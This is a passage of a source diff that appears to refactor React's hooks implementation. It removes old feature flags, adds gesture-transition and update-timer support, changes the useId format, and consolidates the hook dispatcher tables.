+  hook.memoizedState = pushSimpleEffect(
     HookHasEffect | hookFlags,
-    create,
     createEffectInstance(),
+    create,
     nextDeps,
   );
 }
@@ -2535,8 +2645,14 @@ function updateEffectImpl(
     if (nextDeps !== null) {
       const prevEffect: Effect = currentHook.memoizedState;
       const prevDeps = prevEffect.deps;
+      // $FlowFixMe[incompatible-call] (@poteto)
       if (areHookInputsEqual(nextDeps, prevDeps)) {
-        hook.memoizedState = pushEffect(hookFlags, create, inst, nextDeps);
+        hook.memoizedState = pushSimpleEffect(
+          hookFlags,
+          inst,
+          create,
+          nextDeps,
+        );
         return;
       }
     }
@@ -2544,10 +2660,10 @@ function updateEffectImpl(
 
   currentlyRenderingFiber.flags |= fiberFlags;
 
-  hook.memoizedState = pushEffect(
+  hook.memoizedState = pushSimpleEffect(
     HookHasEffect | hookFlags,
-    create,
     inst,
+    create,
     nextDeps,
   );
 }
@@ -2558,8 +2674,7 @@ function mountEffect(
 ): void {
   if (
     __DEV__ &&
-    (currentlyRenderingFiber.mode & StrictEffectsMode) !== NoMode &&
-    (currentlyRenderingFiber.mode & NoStrictPassiveEffectsMode) === NoMode
+    (currentlyRenderingFiber.mode & StrictEffectsMode) !== NoMode
   ) {
     mountEffectImpl(
       MountPassiveDevEffect | PassiveEffect | PassiveStaticEffect,
@@ -2807,8 +2922,11 @@ function mountMemo<T>(
   const nextValue = nextCreate();
   if (shouldDoubleInvokeUserFnsInHooksDEV) {
     setIsStrictModeForDevtools(true);
-    nextCreate();
-    setIsStrictModeForDevtools(false);
+    try {
+      nextCreate();
+    } finally {
+      setIsStrictModeForDevtools(false);
+    }
   }
   hook.memoizedState = [nextValue, nextDeps];
   return nextValue;
@@ -2831,8 +2949,11 @@ function updateMemo<T>(
   const nextValue = nextCreate();
   if (shouldDoubleInvokeUserFnsInHooksDEV) {
     setIsStrictModeForDevtools(true);
-    nextCreate();
-    setIsStrictModeForDevtools(false);
+    try {
+      nextCreate();
+    } finally {
+      setIsStrictModeForDevtools(false);
+    }
   }
   hook.memoizedState = [nextValue, nextDeps];
   return nextValue;
@@ -2862,16 +2983,29 @@ function rerenderDeferredValue<T>(value: T, initialValue?: T): T {
   }
 }
 
+function isRenderingDeferredWork(): boolean {
+  if (!includesSomeLane(renderLanes, DeferredLane)) {
+    // None of the render lanes are deferred lanes.
+    return false;
+  }
+  // At least one of the render lanes are deferred lanes. However, if the
+  // current render is also batched together with an update, then we can't
+  // say that the render is wholly the result of deferred work. We can check
+  // this by checking if the root render lanes contain any "update" lanes, i.e.
+  // lanes that are only assigned to updates, like setState.
+  const rootRenderLanes = getWorkInProgressRootRenderLanes();
+  return !includesSomeLane(rootRenderLanes, UpdateLanes);
+}
+
 function mountDeferredValueImpl<T>(hook: Hook, value: T, initialValue?: T): T {
   if (
-    enableUseDeferredValueInitialArg &&
     // When `initialValue` is provided, we defer the initial render even if the
     // current render is not synchronous.
     initialValue !== undefined &&
     // However, to avoid waterfalls, we do not defer if this render
     // was itself spawned by an earlier useDeferredValue. Check if DeferredLane
     // is part of the render lanes.
-    !includesSomeLane(renderLanes, DeferredLane)
+    !isRenderingDeferredWork()
   ) {
     // Render with the initial value
     hook.memoizedState = initialValue;
@@ -2917,7 +3051,8 @@ function updateDeferredValueImpl<T>(
       return resultValue;
     }
 
-    const shouldDeferValue = !includesOnlyNonUrgentLanes(renderLanes);
+    const shouldDeferValue =
+      !includesOnlyNonUrgentLanes(renderLanes) && !isRenderingDeferredWork();
     if (shouldDeferValue) {
       // This is an urgent update. Since the value has changed, keep using the
       // previous value and spawn a deferred render to update it later.
@@ -2945,6 +3080,12 @@ function updateDeferredValueImpl<T>(
   }
 }
 
+function releaseAsyncTransition() {
+  if (__DEV__) {
+    ReactSharedInternals.asyncTransitions--;
+  }
+}
+
 function startTransition<S>(
   fiber: Fiber,
   queue: UpdateQueue<S | Thenable<S>, BasicStateAction<S | Thenable<S>>>,
@@ -2959,90 +3100,121 @@ function startTransition<S>(
   );
 
   const prevTransition = ReactSharedInternals.T;
-  const currentTransition: BatchConfigTransition = {};
-
-  if (enableAsyncActions) {
-    // We don't really need to use an optimistic update here, because we
-    // schedule a second "revert" update below (which we use to suspend the
-    // transition until the async action scope has finished). But we'll use an
-    // optimistic update anyway to make it less likely the behavior accidentally
-    // diverges; for example, both an optimistic update and this one should
-    // share the same lane.
-    ReactSharedInternals.T = currentTransition;
-    dispatchOptimisticSetState(fiber, false, queue, pendingState);
-  } else {
-    ReactSharedInternals.T = null;
-    dispatchSetState(fiber, queue, pendingState);
-    ReactSharedInternals.T = currentTransition;
+  const currentTransition: Transition = ({}: any);
+  if (enableViewTransition) {
+    currentTransition.types =
+      prevTransition !== null
+        ? // If we're a nested transition, we should use the same set as the parent
+          // since we're conceptually always joined into the same entangled transition.
+          // In practice, this only matters if we add transition types in the inner
+          // without setting state. In that case, the inner transition can finish
+          // without waiting for the outer.
+          prevTransition.types
+        : null;
+  }
+  if (enableGestureTransition) {
+    currentTransition.gesture = null;
   }
-
   if (enableTransitionTracing) {
-    if (options !== undefined && options.name !== undefined) {
-      currentTransition.name = options.name;
-      currentTransition.startTime = now();
-    }
+    currentTransition.name =
+      options !== undefined && options.name !== undefined ? options.name : null;
+    currentTransition.startTime = now();
   }
-
   if (__DEV__) {
     currentTransition._updatedFibers = new Set();
   }
 
+  // We don't really need to use an optimistic update here, because we
+  // schedule a second "revert" update below (which we use to suspend the
+  // transition until the async action scope has finished). But we'll use an
+  // optimistic update anyway to make it less likely the behavior accidentally
+  // diverges; for example, both an optimistic update and this one should
+  // share the same lane.
+  ReactSharedInternals.T = currentTransition;
+  dispatchOptimisticSetState(fiber, false, queue, pendingState);
+
   try {
-    if (enableAsyncActions) {
-      const returnValue = callback();
-      const onStartTransitionFinish = ReactSharedInternals.S;
-      if (onStartTransitionFinish !== null) {
-        onStartTransitionFinish(currentTransition, returnValue);
-      }
+    const returnValue = callback();
+    const onStartTransitionFinish = ReactSharedInternals.S;
+    if (onStartTransitionFinish !== null) {
+      onStartTransitionFinish(currentTransition, returnValue);
+    }
 
-      // Check if we're inside an async action scope. If so, we'll entangle
-      // this new action with the existing scope.
-      //
-      // If we're not already inside an async action scope, and this action is
-      // async, then we'll create a new async scope.
-      //
-      // In the async case, the resulting render will suspend until the async
-      // action scope has finished.
-      if (
-        returnValue !== null &&
-        typeof returnValue === 'object' &&
-        typeof returnValue.then === 'function'
-      ) {
-        const thenable = ((returnValue: any): Thenable<mixed>);
-        // Create a thenable that resolves to `finishedState` once the async
-        // action has completed.
-        const thenableForFinishedState = chainThenableValue(
-          thenable,
-          finishedState,
-        );
-        dispatchSetState(fiber, queue, (thenableForFinishedState: any));
-      } else {
-        dispatchSetState(fiber, queue, finishedState);
+    // Check if we're inside an async action scope. If so, we'll entangle
+    // this new action with the existing scope.
+    //
+    // If we're not already inside an async action scope, and this action is
+    // async, then we'll create a new async scope.
+    //
+    // In the async case, the resulting render will suspend until the async
+    // action scope has finished.
+    if (
+      returnValue !== null &&
+      typeof returnValue === 'object' &&
+      typeof returnValue.then === 'function'
+    ) {
+      const thenable = ((returnValue: any): Thenable<mixed>);
+      if (__DEV__) {
+        // Keep track of the number of async transitions still running so we can warn.
+        ReactSharedInternals.asyncTransitions++;
+        thenable.then(releaseAsyncTransition, releaseAsyncTransition);
       }
+      // Create a thenable that resolves to `finishedState` once the async
+      // action has completed.
+      const thenableForFinishedState = chainThenableValue(
+        thenable,
+        finishedState,
+      );
+      dispatchSetStateInternal(
+        fiber,
+        queue,
+        (thenableForFinishedState: any),
+        requestUpdateLane(fiber),
+      );
     } else {
-      // Async actions are not enabled.
-      dispatchSetState(fiber, queue, finishedState);
-      callback();
+      dispatchSetStateInternal(
+        fiber,
+        queue,
+        finishedState,
+        requestUpdateLane(fiber),
+      );
     }
   } catch (error) {
-    if (enableAsyncActions) {
-      // This is a trick to get the `useTransition` hook to rethrow the error.
-      // When it unwraps the thenable with the `use` algorithm, the error
-      // will be thrown.
-      const rejectedThenable: RejectedThenable<S> = {
-        then() {},
-        status: 'rejected',
-        reason: error,
-      };
-      dispatchSetState(fiber, queue, rejectedThenable);
-    } else {
-      // The error rethrowing behavior is only enabled when the async actions
-      // feature is on, even for sync actions.
-      throw error;
-    }
+    // This is a trick to get the `useTransition` hook to rethrow the error.
+    // When it unwraps the thenable with the `use` algorithm, the error
+    // will be thrown.
+    const rejectedThenable: RejectedThenable<S> = {
+      then() {},
+      status: 'rejected',
+      reason: error,
+    };
+    dispatchSetStateInternal(
+      fiber,
+      queue,
+      rejectedThenable,
+      requestUpdateLane(fiber),
+    );
   } finally {
     setCurrentUpdatePriority(previousPriority);
 
+    if (prevTransition !== null && currentTransition.types !== null) {
+      // If we created a new types set in the inner transition, we transfer it to the parent
+      // since they should share the same set. They're conceptually entangled.
+      if (__DEV__) {
+        if (
+          prevTransition.types !== null &&
+          prevTransition.types !== currentTransition.types
+        ) {
+          // Just assert that assumption holds that we're not overriding anything.
+          console.error(
+            'We expected inner Transitions to have transferred the outer types set and ' +
+              'that you cannot add to the outer Transition while inside the inner.' +
+              'This is a bug in React.',
+          );
+        }
+      }
+      prevTransition.types = currentTransition.types;
+    }
     ReactSharedInternals.T = prevTransition;
 
     if (__DEV__) {
@@ -3069,15 +3241,6 @@ export function startHostTransition<F>(
   action: (F => mixed) | null,
   formData: F,
 ): void {
-  if (!enableAsyncActions) {
-    // Form actions are enabled, but async actions are not. Call the function,
-    // but don't handle any pending or error states.
-    if (action !== null) {
-      action(formData);
-    }
-    return;
-  }
-
   if (formFiber.tag !== HostComponent) {
     throw new Error(
       'Expected the form instance to be a HostComponent. This ' +
@@ -3092,6 +3255,8 @@ export function startHostTransition<F>(
     BasicStateAction<Thenable<TransitionStatus> | TransitionStatus>,
   > = stateHook.queue;
 
+  startHostActionTimer(formFiber);
+
   startTransition(
     formFiber,
     queue,
@@ -3184,8 +3349,8 @@ function ensureFormComponentIsStateful(formFiber: Fiber) {
 export function requestFormReset(formFiber: Fiber) {
   const transition = requestCurrentTransition();
 
-  if (__DEV__) {
-    if (transition === null) {
+  if (transition === null) {
+    if (__DEV__) {
       // An optimistic update occurred, but startTransition is not on the stack.
       // The form reset will be scheduled at default (sync) priority, which
       // is probably not what the user intended. Most likely because the
@@ -3200,13 +3365,33 @@ export function requestFormReset(formFiber: Fiber) {
           'fix, move to an action, or wrap with startTransition.',
       );
     }
+  } else if (enableGestureTransition && transition.gesture) {
+    throw new Error(
+      'Cannot requestFormReset() inside a startGestureTransition. ' +
+        'There should be no side-effects associated with starting a ' +
+        'Gesture until its Action is invoked. Move side-effects to the ' +
+        'Action instead.',
+    );
   }
 
-  const stateHook = ensureFormComponentIsStateful(formFiber);
+  let stateHook: Hook = ensureFormComponentIsStateful(formFiber);
   const newResetState = {};
+  if (stateHook.next === null) {
+    // Hack alert. If formFiber is the workInProgress Fiber then
+    // we might get a broken intermediate state. Try the alternate
+    // instead.
+    // TODO: We should really stash the Queue somewhere stateful
+    // just like how setState binds the Queue.
+    stateHook = (formFiber.alternate: any).memoizedState;
+  }
   const resetStateHook: Hook = (stateHook.next: any);
   const resetStateQueue = resetStateHook.queue;
-  dispatchSetState(formFiber, resetStateQueue, newResetState);
+  dispatchSetStateInternal(
+    formFiber,
+    resetStateQueue,
+    newResetState,
+    requestUpdateLane(formFiber),
+  );
 }
 
 function mountTransition(): [
@@ -3258,11 +3443,7 @@ function rerenderTransition(): [
 }
 
 function useHostTransitionStatus(): TransitionStatus {
-  if (!enableAsyncActions) {
-    throw new Error('Not implemented.');
-  }
-  const status: TransitionStatus | null = readContext(HostTransitionContext);
-  return status !== null ? status : NoPendingHostTransition;
+  return readContext(HostTransitionContext);
 }
 
 function mountId(): string {
@@ -3281,7 +3462,7 @@ function mountId(): string {
     const treeId = getTreeId();
 
     // Use a captial R prefix for server-generated ids.
-    id = ':' + identifierPrefix + 'R' + treeId;
+    id = '_' + identifierPrefix + 'R_' + treeId;
 
     // Unless this is the first id at this level, append a number at the end
     // that represents the position of this useId hook among all the useId
@@ -3291,11 +3472,11 @@ function mountId(): string {
       id += 'H' + localId.toString(32);
     }
 
-    id += ':';
+    id += '_';
   } else {
     // Use a lowercase r prefix for client-generated ids.
     const globalClientId = globalClientIdCounter++;
-    id = ':' + identifierPrefix + 'r' + globalClientId.toString(32) + ':';
+    id = '_' + identifierPrefix + 'r_' + globalClientId.toString(32) + '_';
   }
 
   hook.memoizedState = id;
@@ -3323,9 +3504,6 @@ function updateRefresh(): any {
 }
 
 function refreshCache<T>(fiber: Fiber, seedKey: ?() => T, seedValue: T): void {
-  if (!enableCache) {
-    return;
-  }
   // TODO: Does Cache work in legacy mode? Should decide and write a test.
   // TODO: Consider warning if the refresh is at discrete priority, or if we
   // otherwise suspect that it wasn't batched properly.
@@ -3339,6 +3517,7 @@ function refreshCache<T>(fiber: Fiber, seedKey: ?() => T, seedValue: T): void {
         const refreshUpdate = createLegacyQueueUpdate(lane);
         const root = enqueueLegacyQueueUpdate(provider, refreshUpdate, lane);
         if (root !== null) {
+          startUpdateTimerByLane(lane, 'refresh()', fiber);
           scheduleUpdateOnFiber(root, provider, lane);
           entangleLegacyQueueTransitions(root, provider, lane);
         }
@@ -3379,7 +3558,9 @@ function dispatchReducerAction<S, A>(
   action: A,
 ): void {
   if (__DEV__) {
-    if (typeof arguments[3] === 'function') {
+    // using a reference to `arguments` bails out of GCC optimizations which affect function arity
+    const args = arguments;
+    if (typeof args[3] === 'function') {
       console.error(
         "State updates from the useState() and useReducer() Hooks don't support the " +
           'second callback argument. To execute a side effect after ' +
@@ -3393,6 +3574,7 @@ function dispatchReducerAction<S, A>(
   const update: Update<S, A> = {
     lane,
     revertLane: NoLane,
+    gesture: null,
     action,
     hasEagerState: false,
     eagerState: null,
@@ -3404,6 +3586,7 @@ function dispatchReducerAction<S, A>(
   } else {
     const root = enqueueConcurrentHookUpdate(fiber, queue, update, lane);
     if (root !== null) {
+      startUpdateTimerByLane(lane, 'dispatch()', fiber);
       scheduleUpdateOnFiber(root, fiber, lane);
       entangleTransitionUpdate(root, queue, lane);
     }
@@ -3418,7 +3601,9 @@ function dispatchSetState<S, A>(
   action: A,
 ): void {
   if (__DEV__) {
-    if (typeof arguments[3] === 'function') {
+    // using a reference to `arguments` bails out of GCC optimizations which affect function arity
+    const args = arguments;
+    if (typeof args[3] === 'function') {
       console.error(
         "State updates from the useState() and useReducer() Hooks don't support the " +
           'second callback argument. To execute a side effect after ' +
@@ -3428,10 +3613,28 @@ function dispatchSetState<S, A>(
   }
 
   const lane = requestUpdateLane(fiber);
+  const didScheduleUpdate = dispatchSetStateInternal(
+    fiber,
+    queue,
+    action,
+    lane,
+  );
+  if (didScheduleUpdate) {
+    startUpdateTimerByLane(lane, 'setState()', fiber);
+  }
+  markUpdateInDevTools(fiber, lane, action);
+}
 
+function dispatchSetStateInternal<S, A>(
+  fiber: Fiber,
+  queue: UpdateQueue<S, A>,
+  action: A,
+  lane: Lane,
+): boolean {
   const update: Update<S, A> = {
     lane,
     revertLane: NoLane,
+    gesture: null,
     action,
     hasEagerState: false,
     eagerState: null,
@@ -3472,7 +3675,7 @@ function dispatchSetState<S, A>(
             // time the reducer has changed.
             // TODO: Do we still need to entangle transitions in this case?
             enqueueConcurrentHookUpdateAndEagerlyBailout(fiber, queue, update);
-            return;
+            return false;
           }
         } catch (error) {
           // Suppress the error. It will throw again in the render phase.
@@ -3488,10 +3691,10 @@ function dispatchSetState<S, A>(
     if (root !== null) {
       scheduleUpdateOnFiber(root, fiber, lane);
       entangleTransitionUpdate(root, queue, lane);
+      return true;
     }
   }
-
-  markUpdateInDevTools(fiber, lane, action);
+  return false;
 }
 
 function dispatchOptimisticSetState<S, A>(
@@ -3539,12 +3742,18 @@ function dispatchOptimisticSetState<S, A>(
     }
   }
 
+  // For regular Transitions an optimistic update commits synchronously.
+  // For gesture Transitions an optimistic update commits on the GestureLane.
+  const lane =
+    enableGestureTransition && transition !== null && transition.gesture
+      ? GestureLane
+      : SyncLane;
   const update: Update<S, A> = {
-    // An optimistic update commits synchronously.
-    lane: SyncLane,
+    lane: lane,
     // After committing, the optimistic update is "reverted" using the same
     // lane as the transition it's associated with.
     revertLane: requestTransitionLane(transition),
+    gesture: null,
     action,
     hasEagerState: false,
     eagerState: null,
@@ -3567,19 +3776,35 @@ function dispatchOptimisticSetState<S, A>(
       }
     }
   } else {
-    const root = enqueueConcurrentHookUpdate(fiber, queue, update, SyncLane);
+    const root = enqueueConcurrentHookUpdate(fiber, queue, update, lane);
     if (root !== null) {
       // NOTE: The optimistic update implementation assumes that the transition
       // will never be attempted before the optimistic update. This currently
       // holds because the optimistic update is always synchronous. If we ever
       // change that, we'll need to account for this.
-      scheduleUpdateOnFiber(root, fiber, SyncLane);
+      startUpdateTimerByLane(lane, 'setOptimistic()', fiber);
+      scheduleUpdateOnFiber(root, fiber, lane);
       // Optimistic updates are always synchronous, so we don't need to call
       // entangleTransitionUpdate here.
+      if (enableGestureTransition && transition !== null) {
+        const provider = transition.gesture;
+        if (provider !== null) {
+          // If this was a gesture, ensure we have a scheduled gesture and that
+          // we associate this update with this specific gesture instance.
+          const gesture = (update.gesture = scheduleGesture(root, provider));
+          // Ensure the gesture always uses the same revert lane. This can happen for
+          // two startGestureTransition calls to the same provider in different events.
+          if (gesture.revertLane === NoLane) {
+            gesture.revertLane = update.revertLane;
+          } else {
+            update.revertLane = gesture.revertLane;
+          }
+        }
+      }
     }
   }
 
-  markUpdateInDevTools(fiber, SyncLane, action);
+  markUpdateInDevTools(fiber, lane, action);
 }
 
 function isRenderPhaseUpdate(fiber: Fiber): boolean {
@@ -3637,15 +3862,6 @@ function entangleTransitionUpdate<S, A>(
 }
 
 function markUpdateInDevTools<A>(fiber: Fiber, lane: Lane, action: A): void {
-  if (__DEV__) {
-    if (enableDebugTracing) {
-      if (fiber.mode & DebugTracingMode) {
-        const name = getComponentNameFromFiber(fiber) || 'Unknown';
-        logStateUpdateScheduled(name, lane, action);
-      }
-    }
-  }
-
   if (enableSchedulingProfiler) {
     markStateUpdateScheduled(fiber, lane);
   }
@@ -3670,25 +3886,14 @@ export const ContextOnlyDispatcher: Dispatcher = {
   useTransition: throwInvalidHookError,
   useSyncExternalStore: throwInvalidHookError,
   useId: throwInvalidHookError,
+  useHostTransitionStatus: throwInvalidHookError,
+  useFormState: throwInvalidHookError,
+  useActionState: throwInvalidHookError,
+  useOptimistic: throwInvalidHookError,
+  useMemoCache: throwInvalidHookError,
+  useCacheRefresh: throwInvalidHookError,
+  useEffectEvent: throwInvalidHookError,
 };
-if (enableCache) {
-  (ContextOnlyDispatcher: Dispatcher).useCacheRefresh = throwInvalidHookError;
-}
-if (enableUseMemoCacheHook) {
-  (ContextOnlyDispatcher: Dispatcher).useMemoCache = throwInvalidHookError;
-}
-if (enableUseEffectEventHook) {
-  (ContextOnlyDispatcher: Dispatcher).useEffectEvent = throwInvalidHookError;
-}
-if (enableAsyncActions) {
-  (ContextOnlyDispatcher: Dispatcher).useHostTransitionStatus =
-    throwInvalidHookError;
-  (ContextOnlyDispatcher: Dispatcher).useFormState = throwInvalidHookError;
-  (ContextOnlyDispatcher: Dispatcher).useActionState = throwInvalidHookError;
-}
-if (enableAsyncActions) {
-  (ContextOnlyDispatcher: Dispatcher).useOptimistic = throwInvalidHookError;
-}
 
 const HooksDispatcherOnMount: Dispatcher = {
   readContext,
@@ -3709,25 +3914,14 @@ const HooksDispatcherOnMount: Dispatcher = {
   useTransition: mountTransition,
   useSyncExternalStore: mountSyncExternalStore,
   useId: mountId,
+  useHostTransitionStatus: useHostTransitionStatus,
+  useFormState: mountActionState,
+  useActionState: mountActionState,
+  useOptimistic: mountOptimistic,
+  useMemoCache,
+  useCacheRefresh: mountRefresh,
+  useEffectEvent: mountEvent,
 };
-if (enableCache) {
-  (HooksDispatcherOnMount: Dispatcher).useCacheRefresh = mountRefresh;
-}
-if (enableUseMemoCacheHook) {
-  (HooksDispatcherOnMount: Dispatcher).useMemoCache = useMemoCache;
-}
-if (enableUseEffectEventHook) {
-  (HooksDispatcherOnMount: Dispatcher).useEffectEvent = mountEvent;
-}
-if (enableAsyncActions) {
-  (HooksDispatcherOnMount: Dispatcher).useHostTransitionStatus =
-    useHostTransitionStatus;
-  (HooksDispatcherOnMount: Dispatcher).useFormState = mountActionState;
-  (HooksDispatcherOnMount: Dispatcher).useActionState = mountActionState;
-}
-if (enableAsyncActions) {
-  (HooksDispatcherOnMount: Dispatcher).useOptimistic = mountOptimistic;
-}
 
 const HooksDispatcherOnUpdate: Dispatcher = {
   readContext,
@@ -3748,25 +3942,14 @@ const HooksDispatcherOnUpdate: Dispatcher = {
   useTransition: updateTransition,
   useSyncExternalStore: updateSyncExternalStore,
   useId: updateId,
+  useHostTransitionStatus: useHostTransitionStatus,
+  useFormState: updateActionState,
+  useActionState: updateActionState,
+  useOptimistic: updateOptimistic,
+  useMemoCache,
+  useCacheRefresh: updateRefresh,
+  useEffectEvent: updateEvent,
 };
-if (enableCache) {
-  (HooksDispatcherOnUpdate: Dispatcher).useCacheRefresh = updateRefresh;
-}
-if (enableUseMemoCacheHook) {
-  (HooksDispatcherOnUpdate: Dispatcher).useMemoCache = useMemoCache;
-}
-if (enableUseEffectEventHook) {
-  (HooksDispatcherOnUpdate: Dispatcher).useEffectEvent = updateEvent;
-}
-if (enableAsyncActions) {
-  (HooksDispatcherOnUpdate: Dispatcher).useHostTransitionStatus =
-    useHostTransitionStatus;
-  (HooksDispatcherOnUpdate: Dispatcher).useFormState = updateActionState;
-  (HooksDispatcherOnUpdate: Dispatcher).useActionState = updateActionState;
-}
-if (enableAsyncActions) {
-  (HooksDispatcherOnUpdate: Dispatcher).useOptimistic = updateOptimistic;
-}
 
 const HooksDispatcherOnRerender: Dispatcher = {
   readContext,
@@ -3787,25 +3970,14 @@ const HooksDispatcherOnRerender: Dispatcher = {
   useTransition: rerenderTransition,
   useSyncExternalStore: updateSyncExternalStore,
   useId: updateId,
+  useHostTransitionStatus: useHostTransitionStatus,
+  useFormState: rerenderActionState,
+  useActionState: rerenderActionState,
+  useOptimistic: rerenderOptimistic,
+  useMemoCache,
+  useCacheRefresh: updateRefresh,
+  useEffectEvent: updateEvent,
 };
-if (enableCache) {
-  (HooksDispatcherOnRerender: Dispatcher).useCacheRefresh = updateRefresh;
-}
-if (enableUseMemoCacheHook) {
-  (HooksDispatcherOnRerender: Dispatcher).useMemoCache = useMemoCache;
-}
-if (enableUseEffectEventHook) {
-  (HooksDispatcherOnRerender: Dispatcher).useEffectEvent = updateEvent;
-}
-if (enableAsyncActions) {
-  (HooksDispatcherOnRerender: Dispatcher).useHostTransitionStatus =
-    useHostTransitionStatus;
-  (HooksDispatcherOnRerender: Dispatcher).useFormState = rerenderActionState;
-  (HooksDispatcherOnRerender: Dispatcher).useActionState = rerenderActionState;
-}
-if (enableAsyncActions) {
-  (HooksDispatcherOnRerender: Dispatcher).useOptimistic = rerenderOptimistic;
-}
 
 let HooksDispatcherOnMountInDEV: Dispatcher | null = null;
 let HooksDispatcherOnMountWithHookTypesInDEV: Dispatcher | null = null;
@@ -3961,63 +4133,48 @@ if (__DEV__) {
       mountHookTypesDev();
       return mountId();
     },
+    useFormState<S, P>(
+      action: (Awaited<S>, P) => S,
+      initialState: Awaited<S>,
+      permalink?: string,
+    ): [Awaited<S>, (P) => void, boolean] {
+      currentHookNameInDev = 'useFormState';
+      mountHookTypesDev();
+      warnOnUseFormStateInDev();
+      return mountActionState(action, initialState, permalink);
+    },
+    useActionState<S, P>(
+      action: (Awaited<S>, P) => S,
+      initialState: Awaited<S>,
+      permalink?: string,
+    ): [Awaited<S>, (P) => void, boolean] {
+      currentHookNameInDev = 'useActionState';
+      mountHookTypesDev();
+      return mountActionState(action, initialState, permalink);
+    },
+    useOptimistic<S, A>(
+      passthrough: S,
+      reducer: ?(S, A) => S,
+    ): [S, (A) => void] {
+      currentHookNameInDev = 'useOptimistic';
+      mountHookTypesDev();
+      return mountOptimistic(passthrough, reducer);
+    },
+    useHostTransitionStatus,
+    useMemoCache,
+    useCacheRefresh() {
+      currentHookNameInDev = 'useCacheRefresh';
+      mountHookTypesDev();
+      return mountRefresh();
+    },
+    useEffectEvent<Args, Return, F: (...Array<Args>) => Return>(
+      callback: F,
+    ): F {
+      currentHookNameInDev = 'useEffectEvent';
+      mountHookTypesDev();
+      return mountEvent(callback);
+    },
   };
-  if (enableCache) {
-    (HooksDispatcherOnMountInDEV: Dispatcher).useCacheRefresh =
-      function useCacheRefresh() {
-        currentHookNameInDev = 'useCacheRefresh';
-        mountHookTypesDev();
-        return mountRefresh();
-      };
-  }
-  if (enableUseMemoCacheHook) {
-    (HooksDispatcherOnMountInDEV: Dispatcher).useMemoCache = useMemoCache;
-  }
-  if (enableUseEffectEventHook) {
-    (HooksDispatcherOnMountInDEV: Dispatcher).useEffectEvent =
-      function useEffectEvent<Args, Return, F: (...Array<Args>) => Return>(
-        callback: F,
-      ): F {
-        currentHookNameInDev = 'useEffectEvent';
-        mountHookTypesDev();
-        return mountEvent(callback);
-      };
-  }
-  if (enableAsyncActions) {
-    (HooksDispatcherOnMountInDEV: Dispatcher).useHostTransitionStatus =
-      useHostTransitionStatus;
-    (HooksDispatcherOnMountInDEV: Dispatcher).useFormState =
-      function useFormState<S, P>(
-        action: (Awaited<S>, P) => S,
-        initialState: Awaited<S>,
-        permalink?: string,
-      ): [Awaited<S>, (P) => void, boolean] {
-        currentHookNameInDev = 'useFormState';
-        mountHookTypesDev();
-        return mountActionState(action, initialState, permalink);
-      };
-    (HooksDispatcherOnMountInDEV: Dispatcher).useActionState =
-      function useActionState<S, P>(
-        action: (Awaited<S>, P) => S,
-        initialState: Awaited<S>,
-        permalink?: string,
-      ): [Awaited<S>, (P) => void, boolean] {
-        currentHookNameInDev = 'useActionState';
-        mountHookTypesDev();
-        return mountActionState(action, initialState, permalink);
-      };
-  }
-  if (enableAsyncActions) {
-    (HooksDispatcherOnMountInDEV: Dispatcher).useOptimistic =
-      function useOptimistic<S, A>(
-        passthrough: S,
-        reducer: ?(S, A) => S,
-      ): [S, (A) => void] {
-        currentHookNameInDev = 'useOptimistic';
-        mountHookTypesDev();
-        return mountOptimistic(passthrough, reducer);
-      };
-  }
 
   HooksDispatcherOnMountWithHookTypesInDEV = {
     readContext<T>(context: ReactContext<T>): T {
@@ -4140,65 +4297,48 @@ if (__DEV__) {
       updateHookTypesDev();
       return mountId();
     },
+    useActionState<S, P>(
+      action: (Awaited<S>, P) => S,
+      initialState: Awaited<S>,
+      permalink?: string,
+    ): [Awaited<S>, (P) => void, boolean] {
+      currentHookNameInDev = 'useActionState';
+      updateHookTypesDev();
+      return mountActionState(action, initialState, permalink);
+    },
+    useFormState<S, P>(
+      action: (Awaited<S>, P) => S,
+      initialState: Awaited<S>,
+      permalink?: string,
+    ): [Awaited<S>, (P) => void, boolean] {
+      currentHookNameInDev = 'useFormState';
+      updateHookTypesDev();
+      warnOnUseFormStateInDev();
+      return mountActionState(action, initialState, permalink);
+    },
+    useOptimistic<S, A>(
+      passthrough: S,
+      reducer: ?(S, A) => S,
+    ): [S, (A) => void] {
+      currentHookNameInDev = 'useOptimistic';
+      updateHookTypesDev();
+      return mountOptimistic(passthrough, reducer);
+    },
+    useHostTransitionStatus,
+    useMemoCache,
+    useCacheRefresh() {
+      currentHookNameInDev = 'useCacheRefresh';
+      updateHookTypesDev();
+      return mountRefresh();
+    },
+    useEffectEvent<Args, Return, F: (...Array<Args>) => Return>(
+      callback: F,
+    ): F {
+      currentHookNameInDev = 'useEffectEvent';
+      updateHookTypesDev();
+      return mountEvent(callback);
+    },
   };
-  if (enableCache) {
-    (HooksDispatcherOnMountWithHookTypesInDEV: Dispatcher).useCacheRefresh =
-      function useCacheRefresh() {
-        currentHookNameInDev = 'useCacheRefresh';
-        updateHookTypesDev();
-        return mountRefresh();
-      };
-  }
-  if (enableUseMemoCacheHook) {
-    (HooksDispatcherOnMountWithHookTypesInDEV: Dispatcher).useMemoCache =
-      useMemoCache;
-  }
-  if (enableUseEffectEventHook) {
-    (HooksDispatcherOnMountWithHookTypesInDEV: Dispatcher).useEffectEvent =
-      function useEffectEvent<Args, Return, F: (...Array<Args>) => Return>(
-        callback: F,
-      ): F {
-        currentHookNameInDev = 'useEffectEvent';
-        updateHookTypesDev();
-        return mountEvent(callback);
-      };
-  }
-  if (enableAsyncActions) {
-    (HooksDispatcherOnMountWithHookTypesInDEV: Dispatcher).useHostTransitionStatus =
-      useHostTransitionStatus;
-    (HooksDispatcherOnMountWithHookTypesInDEV: Dispatcher).useFormState =
-      function useFormState<S, P>(
-        action: (Awaited<S>, P) => S,
-        initialState: Awaited<S>,
-        permalink?: string,
-      ): [Awaited<S>, (P) => void, boolean] {
-        currentHookNameInDev = 'useFormState';
-        updateHookTypesDev();
-        warnOnUseFormStateInDev();
-        return mountActionState(action, initialState, permalink);
-      };
-    (HooksDispatcherOnMountWithHookTypesInDEV: Dispatcher).useActionState =
-      function useActionState<S, P>(
-        action: (Awaited<S>, P) => S,
-        initialState: Awaited<S>,
-        permalink?: string,
-      ): [Awaited<S>, (P) => void, boolean] {
-        currentHookNameInDev = 'useActionState';
-        updateHookTypesDev();
-        return mountActionState(action, initialState, permalink);
-      };
-  }
-  if (enableAsyncActions) {
-    (HooksDispatcherOnMountWithHookTypesInDEV: Dispatcher).useOptimistic =
-      function useOptimistic<S, A>(
-        passthrough: S,
-        reducer: ?(S, A) => S,
-      ): [S, (A) => void] {
-        currentHookNameInDev = 'useOptimistic';
-        updateHookTypesDev();
-        return mountOptimistic(passthrough, reducer);
-      };
-  }
 
